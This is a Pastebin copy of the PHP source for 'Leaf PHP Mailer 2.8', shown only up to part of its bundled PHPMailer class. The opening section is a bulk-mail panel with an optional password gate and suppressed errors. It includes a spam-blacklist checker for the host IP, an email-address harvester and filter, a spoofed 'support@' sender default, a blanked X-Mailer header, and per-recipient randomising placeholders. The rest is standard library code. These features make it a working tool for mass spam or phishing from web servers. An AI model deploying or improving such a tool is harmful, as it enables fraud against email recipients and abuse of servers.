ToKeiChun

Leaf PHP Mailer @version : 2.8

Feb 18th, 2021 (edited)
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 166.55 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Leaf PHP Mailer by [leafmailer.pw]
  4.  * @version : 2.8
  5. **/
  6. $password = ""; // Password
  7. session_start();
  8. error_reporting(0);
  9. set_time_limit(0);
  10. ini_set("memory_limit",-1);
  11.  
  12. $leaf['version']="2.8";
  13. $leaf['website']="leafmailer.pw";
  14.  
  15. $sessioncode = md5(__FILE__);
  16. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  17.     if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  18.         $_SESSION[$sessioncode] = $password;
  19.     }
  20.     else {
  21.         print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  22.         exit;        
  23.     }
  24. }
  25.  
  26. session_write_close();
  27.  
  28.  
  29. function leafClear($text,$email){
  30.     $e = explode('@', $email);
  31.     $emailuser=$e[0];
  32.     $emaildomain=$e[1];
  33.     $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  34.     $text = str_replace("[-email-]", $email, $text);
  35.     $text = str_replace("[-emailuser-]", $emailuser, $text);
  36.     $text = str_replace("[-emaildomain-]", $emaildomain, $text);
  37.     $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  38.     $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  39.     $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  40.     $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  41.     return $text;  
  42. }
  43. function leafTrim($string){
  44.     $string=urldecode($string);
  45.     return stripslashes(trim($string));
  46. }
  47. function randString($consonants) {
  48.     $length=rand(12,25);
  49.     $password = '';
  50.     for ($i = 0; $i < $length; $i++) {
  51.             $password .= $consonants[(rand() % strlen($consonants))];
  52.     }
  53.     return $password;
  54. }
  55. function leafMailCheck($email){
  56.     if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
  57.     else return false;
  58. }
  59. # Bulit-in BlackList Checker
  60. if(isset($_GET['check_ip'])){
  61.     if (isset($_GET['host'])){
  62.         $_GET['host']=explode(",", $_GET['host']);
  63.         foreach ($_GET['host'] as $host) {
  64.             if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
  65.             else $check= "<font color='green'> Clean</font>";
  66.             print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
  67.         }
  68.  
  69.         exit;
  70.     }
  71.     $dnsbl_lookup = [
  72.         "all.s5h.net",
  73.         "b.barracudacentral.org",
  74.         "bl.spamcop.net",
  75.         "blacklist.woody.ch",
  76.         "bogons.cymru.com",
  77.         "cbl.abuseat.org",
  78.         "cdl.anti-spam.org.cn",
  79.         "combined.abuse.ch",
  80.         "db.wpbl.info",
  81.         "dnsbl-1.uceprotect.net",
  82.         "dnsbl-2.uceprotect.net",
  83.         "dnsbl-3.uceprotect.net",
  84.         "dnsbl.anticaptcha.net",
  85.         "dnsbl.dronebl.org",
  86.         "dnsbl.inps.de",
  87.         "dnsbl.sorbs.net",
  88.         "drone.abuse.ch",
  89.         "duinv.aupads.org",
  90.         "dul.dnsbl.sorbs.net",
  91.         "dyna.spamrats.com",
  92.         "dynip.rothen.com",
  93.         "http.dnsbl.sorbs.net",
  94.         "ips.backscatterer.org",
  95.         "ix.dnsbl.manitu.net",
  96.         "korea.services.net",
  97.         "misc.dnsbl.sorbs.net",
  98.         "noptr.spamrats.com",
  99.         "orvedb.aupads.org",
  100.         "pbl.spamhaus.org",
  101.         "proxy.bl.gweep.ca",
  102.         "psbl.surriel.com",
  103.         "relays.bl.gweep.ca",
  104.         "relays.nether.net",
  105.         "sbl.spamhaus.org",
  106.         "short.rbl.jp",
  107.         "singular.ttk.pte.hu",
  108.         "smtp.dnsbl.sorbs.net",
  109.         "socks.dnsbl.sorbs.net",
  110.         "spam.abuse.ch",
  111.         "spam.dnsbl.anonmails.de",
  112.         "spam.dnsbl.sorbs.net",
  113.         "spam.spamrats.com",
  114.         "spambot.bls.digibase.ca",
  115.         "spamrbl.imp.ch",
  116.         "spamsources.fabel.dk",
  117.         "ubl.lashback.com",
  118.         "ubl.unsubscore.com",
  119.         "virus.rbl.jp",
  120.         "web.dnsbl.sorbs.net",
  121.         "wormrbl.imp.ch",
  122.         "xbl.spamhaus.org",
  123.         "z.mailspike.net",
  124.         "zen.spamhaus.org",
  125.         "zombie.dnsbl.sorbs.net",
  126.     ];
  127.     $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
  128.     $dnsT = count($dnsbl_lookup);
  129.     leafheader();
  130.     print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
  131.     Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
  132.     $dnsN="";
  133.     print '<table >';
  134.     for ($i=0; $i < $dnsT; $i=$i+10) {
  135.         $host="";
  136.         $hosts="";
  137.         for($j=$i; $j<$i+10;$j++){
  138.             $host=$dnsbl_lookup[$j];
  139.             if(!empty($host)){
  140.                 print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
  141.                 $hosts .="$host,";
  142.             }
  143.         }
  144.         $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
  145.     }
  146.  
  147.     print '</table></div>';
  148.     print $dnsN;
  149.     exit;
  150. }
  151. if(isset($_GET['emailfilter'])){
  152.  
  153.     if(!empty($_FILES['fileToUpload']['tmp_name'])){
  154.         $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
  155.     }
  156.     $_POST['emailList']=strtolower($_POST['emailList']);
  157.    if($_GET['emailfilter']=="ifram"){
  158.         if ($_POST['resulttype'] == "download"){
  159.             header("Content-Description: File Transfer");
  160.             header("Content-Type: application/octet-stream");
  161.             header("Content-Disposition: attachment; filename=emails".time().".txt");
  162.         }
  163.         else {
  164.             header("Content-Type: text/plain");
  165.         }
  166.     if($_POST['submit']=="extract"){
  167.         $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
  168.         preg_match_all($pattern, $_POST['emailList'], $matches);
  169.         foreach ($matches[0] as $email) {
  170.             print $email."\n";
  171.         }
  172.     }
  173.     elseif ($_POST['submit']=="filter") {
  174.         $emails=explode("\n", $_POST['emailList']);
  175.         $keywords=explode("\n", strtolower($_POST['keywords']));
  176.         foreach ($emails as $email) {
  177.             foreach ($keywords as $keyword ) {
  178.                 if(strstr($email, $keyword) ){
  179.                     print $email."\n";
  180.                      break;
  181.                 }
  182.                
  183.             }
  184.         }
  185.  
  186.     }
  187.     exit;
  188.    }
  189.    leafheader();
  190.    print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
  191.    print '
  192.    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
  193.        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
  194.        or
  195.  
  196.        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
  197.      <div class="col-lg-12">
  198.        <div class="radio">
  199.          <label>
  200.            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
  201.            Show Result in this page
  202.          </label>
  203.        </div>
  204.        <div class="radio">
  205.          <label>
  206.            <input type="radio" name="resulttype" id="resulttype" value="download">
  207.            Download Result (for big numbers)
  208.          </label>
  209.        </div>
  210.      </div>
  211.            <legend><h4>Extract Email</h4></legend>
  212.            Detecting every email (100%) and order them line by line <br><br>
  213.        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
  214.            <legend><h4>Filter Emails</h4></legend>
  215.        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
  216. hotmail.com
  217. yahoo.com
  218. .co.uk</textarea><br>
  219.  
  220.            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
  221.    </form>
  222.    <label >Result </label>
  223.    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
  224.   ';
  225.    exit;
  226.  
  227. }
  228. $html="checked";
  229. $utf8="selected";
  230. $bit8="selected";
  231.  
  232. if($_POST['action']=="send" or $_POST['action']=="score"){
  233.  
  234.     $senderEmail=leafTrim($_POST['senderEmail']);
  235.     $senderName=leafTrim($_POST['senderName']);
  236.     $replyTo=leafTrim($_POST['replyTo']);
  237.     $subject=leafTrim($_POST['subject']);
  238.     $emailList=leafTrim($_POST['emailList']);
  239.     $messageType=leafTrim($_POST['messageType']);
  240.     $messageLetter=leafTrim($_POST['messageLetter']);
  241.     $encoding = $_POST['encode'];
  242.     $charset = $_POST['charset'];
  243.     $html="";
  244.     $utf8="";
  245.     $bit8="";
  246.  
  247.     if($messageType==2) $plain="checked";
  248.     else $html="checked";
  249.  
  250.     if($charset=="ISO-8859-1") $iso="selected";
  251.     else $utf8="selected";
  252.  
  253.     if($encoding=="7bit") $bit7="selected";
  254.     elseif($encoding=="binary") $binary="selected";
  255.     elseif($encoding=="base64") $base64="selected";
  256.     elseif($encoding=="quoted-printable") $quotedprintable="selected";
  257.     else $bit8="selected";
  258.  
  259.  
  260.  
  261. }
  262. if($_POST['action']=="view"){
  263.     $viewMessage=leafTrim($_POST['messageLetter']);
  264.     $viewMessage=leafClear($viewMessage,"user@domain.com");
  265.     if ($_POST['messageType']==2){
  266.         print "<pre>".htmlspecialchars($viewMessage)."</pre>";
  267.     }
  268.     else {
  269.         print $viewMessage;
  270.     }
  271.     exit;
  272. }
  273.  
  274.  
  275.  
  276. if(!isset($_POST['senderEmail'])){
  277.     $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
  278.     if (!leafMailCheck($senderEmail)) $senderEmail="";
  279. }
  280.  
  281. class PHPMailer
  282. {
  283.     /**
  284.      * The PHPMailer Version number.
  285.      * @var string
  286.      */
  287.     public $Version = '5.2.28';
  288.  
  289.     /**
  290.      * Email priority.
  291.      * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  292.      * When null, the header is not set at all.
  293.      * @var integer
  294.      */
  295.     public $Priority = null;
  296.  
  297.     /**
  298.      * The character set of the message.
  299.      * @var string
  300.      */
  301.     public $CharSet = 'iso-8859-1';
  302.  
  303.     /**
  304.      * The MIME Content-type of the message.
  305.      * @var string
  306.      */
  307.     public $ContentType = 'text/plain';
  308.  
  309.     /**
  310.      * The message encoding.
  311.      * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  312.      * @var string
  313.      */
  314.     public $Encoding = '8bit';
  315.  
  316.     /**
  317.      * Holds the most recent mailer error message.
  318.      * @var string
  319.      */
  320.     public $ErrorInfo = '';
  321.  
  322.     /**
  323.      * The From email address for the message.
  324.      * @var string
  325.      */
  326.     public $From = 'root@localhost';
  327.  
  328.     /**
  329.      * The From name of the message.
  330.      * @var string
  331.      */
  332.     public $FromName = 'Root User';
  333.  
  334.     /**
  335.      * The Sender email (Return-Path) of the message.
  336.      * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  337.      * @var string
  338.      */
  339.     public $Sender = '';
  340.  
  341.     /**
  342.      * The Return-Path of the message.
  343.      * If empty, it will be set to either From or Sender.
  344.      * @var string
  345.      * @deprecated Email senders should never set a return-path header;
  346.      * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  347.      * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  348.      */
  349.     public $ReturnPath = '';
  350.  
  351.     /**
  352.      * The Subject of the message.
  353.      * @var string
  354.      */
  355.     public $Subject = '';
  356.  
  357.     /**
  358.      * An HTML or plain text message body.
  359.      * If HTML then call isHTML(true).
  360.      * @var string
  361.      */
  362.     public $Body = '';
  363.  
  364.     /**
  365.      * The plain-text message body.
  366.      * This body can be read by mail clients that do not have HTML email
  367.      * capability such as mutt & Eudora.
  368.      * Clients that can read HTML will view the normal Body.
  369.      * @var string
  370.      */
  371.     public $AltBody = '';
  372.  
  373.     /**
  374.      * An iCal message part body.
  375.      * Only supported in simple alt or alt_inline message types
  376.      * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  377.      * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  378.      * @link http://kigkonsult.se/iCalcreator/
  379.      * @var string
  380.      */
  381.     public $Ical = '';
  382.  
  383.     /**
  384.      * The complete compiled MIME message body.
  385.      * @access protected
  386.      * @var string
  387.      */
  388.     protected $MIMEBody = '';
  389.  
  390.     /**
  391.      * The complete compiled MIME message headers.
  392.      * @var string
  393.      * @access protected
  394.      */
  395.     protected $MIMEHeader = '';
  396.  
  397.     /**
  398.      * Extra headers that createHeader() doesn't fold in.
  399.      * @var string
  400.      * @access protected
  401.      */
  402.     protected $mailHeader = '';
  403.  
  404.     /**
  405.      * Word-wrap the message body to this number of chars.
  406.      * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  407.      * @var integer
  408.      */
  409.     public $WordWrap = 0;
  410.  
  411.     /**
  412.      * Which method to use to send mail.
  413.      * Options: "mail", "sendmail", or "smtp".
  414.      * @var string
  415.      */
  416.     public $Mailer = 'mail';
  417.  
  418.     /**
  419.      * The path to the sendmail program.
  420.      * @var string
  421.      */
  422.     public $Sendmail = '/usr/sbin/sendmail';
  423.  
  424.     /**
  425.      * Whether mail() uses a fully sendmail-compatible MTA.
  426.      * One which supports sendmail's "-oi -f" options.
  427.      * @var boolean
  428.      */
  429.     public $UseSendmailOptions = true;
  430.  
  431.     /**
  432.      * Path to PHPMailer plugins.
  433.      * Useful if the SMTP class is not in the PHP include path.
  434.      * @var string
  435.      * @deprecated Should not be needed now there is an autoloader.
  436.      */
  437.     public $PluginDir = '';
  438.  
  439.     /**
  440.      * The email address that a reading confirmation should be sent to, also known as read receipt.
  441.      * @var string
  442.      */
  443.     public $ConfirmReadingTo = '';
  444.  
  445.     /**
  446.      * The hostname to use in the Message-ID header and as default HELO string.
  447.      * If empty, PHPMailer attempts to find one with, in order,
  448.      * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  449.      * 'localhost.localdomain'.
  450.      * @var string
  451.      */
  452.     public $Hostname = '';
  453.  
  454.     /**
  455.      * An ID to be used in the Message-ID header.
  456.      * If empty, a unique id will be generated.
  457.      * You can set your own, but it must be in the format "<id@domain>",
  458.      * as defined in RFC5322 section 3.6.4 or it will be ignored.
  459.      * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
  460.      * @var string
  461.      */
  462.     public $MessageID = '';
  463.  
  464.     /**
  465.      * The message Date to be used in the Date header.
  466.      * If empty, the current date will be added.
  467.      * @var string
  468.      */
  469.     public $MessageDate = '';
  470.  
  471.     /**
  472.      * SMTP hosts.
  473.      * Either a single hostname or multiple semicolon-delimited hostnames.
  474.      * You can also specify a different port
  475.      * for each host by using this format: [hostname:port]
  476.      * (e.g. "smtp1.example.com:25;smtp2.example.com").
  477.      * You can also specify encryption type, for example:
  478.      * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  479.      * Hosts will be tried in order.
  480.      * @var string
  481.      */
  482.     public $Host = 'localhost';
  483.  
  484.     /**
  485.      * The default SMTP server port.
  486.      * @var integer
  487.      * @TODO Why is this needed when the SMTP class takes care of it?
  488.      */
  489.     public $Port = 25;
  490.  
  491.     /**
  492.      * The SMTP HELO of the message.
  493.      * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  494.      * one with the same method described above for $Hostname.
  495.      * @var string
  496.      * @see PHPMailer::$Hostname
  497.      */
  498.     public $Helo = '';
  499.  
  500.     /**
  501.      * What kind of encryption to use on the SMTP connection.
  502.      * Options: '', 'ssl' or 'tls'
  503.      * @var string
  504.      */
  505.     public $SMTPSecure = '';
  506.  
  507.     /**
  508.      * Whether to enable TLS encryption automatically if a server supports it,
  509.      * even if `SMTPSecure` is not set to 'tls'.
  510.      * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  511.      * @var boolean
  512.      */
  513.     public $SMTPAutoTLS = true;
  514.  
  515.     /**
  516.      * Whether to use SMTP authentication.
  517.      * Uses the Username and Password properties.
  518.      * @var boolean
  519.      * @see PHPMailer::$Username
  520.      * @see PHPMailer::$Password
  521.      */
  522.     public $SMTPAuth = false;
  523.  
  524.     /**
  525.      * Options array passed to stream_context_create when connecting via SMTP.
  526.      * @var array
  527.      */
  528.     public $SMTPOptions = array();
  529.  
  530.     /**
  531.      * SMTP username.
  532.      * @var string
  533.      */
  534.     public $Username = '';
  535.  
  536.     /**
  537.      * SMTP password.
  538.      * @var string
  539.      */
  540.     public $Password = '';
  541.  
  542.     /**
  543.      * SMTP auth type.
  544.      * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
  545.      * @var string
  546.      */
  547.     public $AuthType = '';
  548.  
  549.     /**
  550.      * SMTP realm.
  551.      * Used for NTLM auth
  552.      * @var string
  553.      */
  554.     public $Realm = '';
  555.  
  556.     /**
  557.      * SMTP workstation.
  558.      * Used for NTLM auth
  559.      * @var string
  560.      */
  561.     public $Workstation = '';
  562.  
  563.     /**
  564.      * The SMTP server timeout in seconds.
  565.      * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  566.      * @var integer
  567.      */
  568.     public $Timeout = 300;
  569.  
  570.     /**
  571.      * SMTP class debug output mode.
  572.      * Debug output level.
  573.      * Options:
  574.      * * `0` No output
  575.      * * `1` Commands
  576.      * * `2` Data and commands
  577.      * * `3` As 2 plus connection status
  578.      * * `4` Low-level data output
  579.      * @var integer
  580.      * @see SMTP::$do_debug
  581.      */
  582.     public $SMTPDebug = 0;
  583.  
  584.     /**
  585.      * How to handle debug output.
  586.      * Options:
  587.      * * `echo` Output plain-text as-is, appropriate for CLI
  588.      * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  589.      * * `error_log` Output to error log as configured in php.ini
  590.      *
  591.      * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  592.      * <code>
  593.      * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  594.      * </code>
  595.      * @var string|callable
  596.      * @see SMTP::$Debugoutput
  597.      */
  598.     public $Debugoutput = 'echo';
  599.  
  600.     /**
  601.      * Whether to keep SMTP connection open after each message.
  602.      * If this is set to true then to close the connection
  603.      * requires an explicit call to smtpClose().
  604.      * @var boolean
  605.      */
  606.     public $SMTPKeepAlive = false;
  607.  
  608.     /**
  609.      * Whether to split multiple to addresses into multiple messages
  610.      * or send them all in one message.
  611.      * Only supported in `mail` and `sendmail` transports, not in SMTP.
  612.      * @var boolean
  613.      */
  614.     public $SingleTo = false;
  615.  
  616.     /**
  617.      * Storage for addresses when SingleTo is enabled.
  618.      * @var array
  619.      * @TODO This should really not be public
  620.      */
  621.     public $SingleToArray = array();
  622.  
  623.     /**
  624.      * Whether to generate VERP addresses on send.
  625.      * Only applicable when sending via SMTP.
  626.      * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  627.      * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  628.      * @var boolean
  629.      */
  630.     public $do_verp = false;
  631.  
  632.     /**
  633.      * Whether to allow sending messages with an empty body.
  634.      * @var boolean
  635.      */
  636.     public $AllowEmpty = false;
  637.  
  638.     /**
  639.      * The default line ending.
  640.      * @note The default remains "\n". We force CRLF where we know
  641.      *        it must be used via self::CRLF.
  642.      * @var string
  643.      */
  644.     public $LE = "\n";
  645.  
  646.     /**
  647.      * DKIM selector.
  648.      * @var string
  649.      */
  650.     public $DKIM_selector = '';
  651.  
  652.     /**
  653.      * DKIM Identity.
  654.      * Usually the email address used as the source of the email.
  655.      * @var string
  656.      */
  657.     public $DKIM_identity = '';
  658.  
  659.     /**
  660.      * DKIM passphrase.
  661.      * Used if your key is encrypted.
  662.      * @var string
  663.      */
  664.     public $DKIM_passphrase = '';
  665.  
  666.     /**
  667.      * DKIM signing domain name.
  668.      * @example 'example.com'
  669.      * @var string
  670.      */
  671.     public $DKIM_domain = '';
  672.  
  673.     /**
  674.      * DKIM private key file path.
  675.      * @var string
  676.      */
  677.     public $DKIM_private = '';
  678.  
  679.     /**
  680.      * DKIM private key string.
  681.      * If set, takes precedence over `$DKIM_private`.
  682.      * @var string
  683.      */
  684.     public $DKIM_private_string = '';
  685.  
  686.     /**
  687.      * Callback Action function name.
  688.      *
  689.      * The function that handles the result of the send email action.
  690.      * It is called out by send() for each email sent.
  691.      *
  692.      * Value can be any php callable: http://www.php.net/is_callable
  693.      *
  694.      * Parameters:
  695.      *   boolean $result        result of the send action
  696.      *   array   $to            email addresses of the recipients
  697.      *   array   $cc            cc email addresses
  698.      *   array   $bcc           bcc email addresses
  699.      *   string  $subject       the subject
  700.      *   string  $body          the email body
  701.      *   string  $from          email address of sender
  702.      * @var string
  703.      */
  704.     public $action_function = '';
  705.  
  706.     /**
  707.      * What to put in the X-Mailer header.
  708.      * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  709.      * @var string
  710.      */
  711.     public $XMailer = ' ';
  712.  
  713.     /**
  714.      * Which validator to use by default when validating email addresses.
  715.      * May be a callable to inject your own validator, but there are several built-in validators.
  716.      * @see PHPMailer::validateAddress()
  717.      * @var string|callable
  718.      * @static
  719.      */
  720.     public static $validator = 'auto';
  721.  
  722.     /**
  723.      * An instance of the SMTP sender class.
  724.      * @var SMTP
  725.      * @access protected
  726.      */
  727.     protected $smtp = null;
  728.  
  729.     /**
  730.      * The array of 'to' names and addresses.
  731.      * @var array
  732.      * @access protected
  733.      */
  734.     protected $to = array();
  735.  
  736.     /**
  737.      * The array of 'cc' names and addresses.
  738.      * @var array
  739.      * @access protected
  740.      */
  741.     protected $cc = array();
  742.  
  743.     /**
  744.      * The array of 'bcc' names and addresses.
  745.      * @var array
  746.      * @access protected
  747.      */
  748.     protected $bcc = array();
  749.  
  750.     /**
  751.      * The array of reply-to names and addresses.
  752.      * @var array
  753.      * @access protected
  754.      */
  755.     protected $ReplyTo = array();
  756.  
  757.     /**
  758.      * An array of all kinds of addresses.
  759.      * Includes all of $to, $cc, $bcc
  760.      * @var array
  761.      * @access protected
  762.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  763.      */
  764.     protected $all_recipients = array();
  765.  
  766.     /**
  767.      * An array of names and addresses queued for validation.
  768.      * In send(), valid and non duplicate entries are moved to $all_recipients
  769.      * and one of $to, $cc, or $bcc.
  770.      * This array is used only for addresses with IDN.
  771.      * @var array
  772.      * @access protected
  773.      * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  774.      * @see PHPMailer::$all_recipients
  775.      */
  776.     protected $RecipientsQueue = array();
  777.  
  778.     /**
  779.      * An array of reply-to names and addresses queued for validation.
  780.      * In send(), valid and non duplicate entries are moved to $ReplyTo.
  781.      * This array is used only for addresses with IDN.
  782.      * @var array
  783.      * @access protected
  784.      * @see PHPMailer::$ReplyTo
  785.      */
  786.     protected $ReplyToQueue = array();
  787.  
  788.     /**
  789.      * The array of attachments.
  790.      * @var array
  791.      * @access protected
  792.      */
  793.     protected $attachment = array();
  794.  
  795.     /**
  796.      * The array of custom headers.
  797.      * @var array
  798.      * @access protected
  799.      */
  800.     protected $CustomHeader = array();
  801.  
  802.     /**
  803.      * The most recent Message-ID (including angular brackets).
  804.      * @var string
  805.      * @access protected
  806.      */
  807.     protected $lastMessageID = '';
  808.  
  809.     /**
  810.      * The message's MIME type.
  811.      * @var string
  812.      * @access protected
  813.      */
  814.     protected $message_type = '';
  815.  
  816.     /**
  817.      * The array of MIME boundary strings.
  818.      * @var array
  819.      * @access protected
  820.      */
  821.     protected $boundary = array();
  822.  
  823.     /**
  824.      * The array of available languages.
  825.      * @var array
  826.      * @access protected
  827.      */
  828.     protected $language = array();
  829.  
  830.     /**
  831.      * The number of errors encountered.
  832.      * @var integer
  833.      * @access protected
  834.      */
  835.     protected $error_count = 0;
  836.  
  837.     /**
  838.      * The S/MIME certificate file path.
  839.      * @var string
  840.      * @access protected
  841.      */
  842.     protected $sign_cert_file = '';
  843.  
  844.     /**
  845.      * The S/MIME key file path.
  846.      * @var string
  847.      * @access protected
  848.      */
  849.     protected $sign_key_file = '';
  850.  
  851.     /**
  852.      * The optional S/MIME extra certificates ("CA Chain") file path.
  853.      * @var string
  854.      * @access protected
  855.      */
  856.     protected $sign_extracerts_file = '';
  857.  
  858.     /**
  859.      * The S/MIME password for the key.
  860.      * Used only if the key is encrypted.
  861.      * @var string
  862.      * @access protected
  863.      */
  864.     protected $sign_key_pass = '';
  865.  
  866.     /**
  867.      * Whether to throw exceptions for errors.
  868.      * @var boolean
  869.      * @access protected
  870.      */
  871.     protected $exceptions = false;
  872.  
  873.     /**
  874.      * Unique ID used for message ID and boundaries.
  875.      * @var string
  876.      * @access protected
  877.      */
  878.     protected $uniqueid = '';
  879.  
  880.     /**
  881.      * Error severity: message only, continue processing.
  882.      */
  883.     const STOP_MESSAGE = 0;
  884.  
  885.     /**
  886.      * Error severity: message, likely ok to continue processing.
  887.      */
  888.     const STOP_CONTINUE = 1;
  889.  
  890.     /**
  891.      * Error severity: message, plus full stop, critical error reached.
  892.      */
  893.     const STOP_CRITICAL = 2;
  894.  
  895.     /**
  896.      * SMTP RFC standard line ending.
  897.      */
  898.     const CRLF = "\r\n";
  899.  
  900.     /**
  901.      * The maximum line length allowed by RFC 2822 section 2.1.1
  902.      * @var integer
  903.      */
  904.     const MAX_LINE_LENGTH = 998;
  905.  
  906.     /**
  907.      * Constructor.
  908.      * @param boolean $exceptions Should we throw external exceptions?
  909.      */
  910.     public function __construct($exceptions = null)
  911.     {
  912.         if ($exceptions !== null) {
  913.             $this->exceptions = (boolean)$exceptions;
  914.         }
  915.         //Pick an appropriate debug output format automatically
  916.         $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
  917.     }
  918.  
  919.     /**
  920.      * Destructor.
  921.      */
  922.     public function __destruct()
  923.     {
  924.         //Close any open SMTP connection nicely
  925.         $this->smtpClose();
  926.     }
  927.  
  928.     /**
  929.      * Call mail() in a safe_mode-aware fashion.
  930.      * Also, unless sendmail_path points to sendmail (or something that
  931.      * claims to be sendmail), don't pass params (not a perfect fix,
  932.      * but it will do)
  933.      * @param string $to To
  934.      * @param string $subject Subject
  935.      * @param string $body Message Body
  936.      * @param string $header Additional Header(s)
  937.      * @param string $params Params
  938.      * @access private
  939.      * @return boolean
  940.      */
  941.     private function mailPassthru($to, $subject, $body, $header, $params)
  942.     {
  943.         //Check overloading of mail function to avoid double-encoding
  944.         if (ini_get('mbstring.func_overload') & 1) {
  945.             $subject = $this->secureHeader($subject);
  946.         } else {
  947.             $subject = $this->encodeHeader($this->secureHeader($subject));
  948.         }
  949.  
  950.         //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
  951.         //@link http://php.net/manual/en/function.mail.php
  952.         if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
  953.             $result = @mail($to, $subject, $body, $header);
  954.         } else {
  955.             $result = @mail($to, $subject, $body, $header, $params);
  956.         }
  957.         return $result;
  958.     }
  959.     /**
  960.      * Output debugging info via user-defined method.
  961.      * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  962.      * @see PHPMailer::$Debugoutput
  963.      * @see PHPMailer::$SMTPDebug
  964.      * @param string $str
  965.      */
  966.     protected function edebug($str)
  967.     {
  968.         if ($this->SMTPDebug <= 0) {
  969.             return;
  970.         }
  971.         //Avoid clash with built-in function names
  972.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  973.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  974.             return;
  975.         }
  976.         switch ($this->Debugoutput) {
  977.             case 'error_log':
  978.                 //Don't output, just log
  979.                 error_log($str);
  980.                 break;
  981.             case 'html':
  982.                 //Cleans up output a bit for a better looking, HTML-safe output
  983.                 echo htmlentities(
  984.                     preg_replace('/[\r\n]+/', '', $str),
  985.                     ENT_QUOTES,
  986.                     'UTF-8'
  987.                 )
  988.                 . "<br>\n";
  989.                 break;
  990.             case 'echo':
  991.             default:
  992.                 //Normalize line breaks
  993.                 $str = preg_replace('/\r\n?/ms', "\n", $str);
  994.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  995.                     "\n",
  996.                     "\n                   \t                  ",
  997.                     trim($str)
  998.                 ) . "\n";
  999.         }
  1000.     }
  1001.  
  1002.     /**
  1003.      * Send messages using SMTP.
  1004.      * @return void
  1005.      */
  1006.     public function isSMTP()
  1007.     {
  1008.         $this->Mailer = 'smtp';
  1009.     }
  1010.  
  1011.     /**
  1012.      * Send messages using PHP's mail() function.
  1013.      * @return void
  1014.      */
  1015.     public function isMail()
  1016.     {
  1017.         $this->Mailer = 'mail';
  1018.     }
  1019.  
  1020.     /**
  1021.      * Send messages using $Sendmail.
  1022.      * @return void
  1023.      */
  1024.     public function isSendmail()
  1025.     {
  1026.         $ini_sendmail_path = ini_get('sendmail_path');
  1027.  
  1028.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  1029.             $this->Sendmail = '/usr/sbin/sendmail';
  1030.         } else {
  1031.             $this->Sendmail = $ini_sendmail_path;
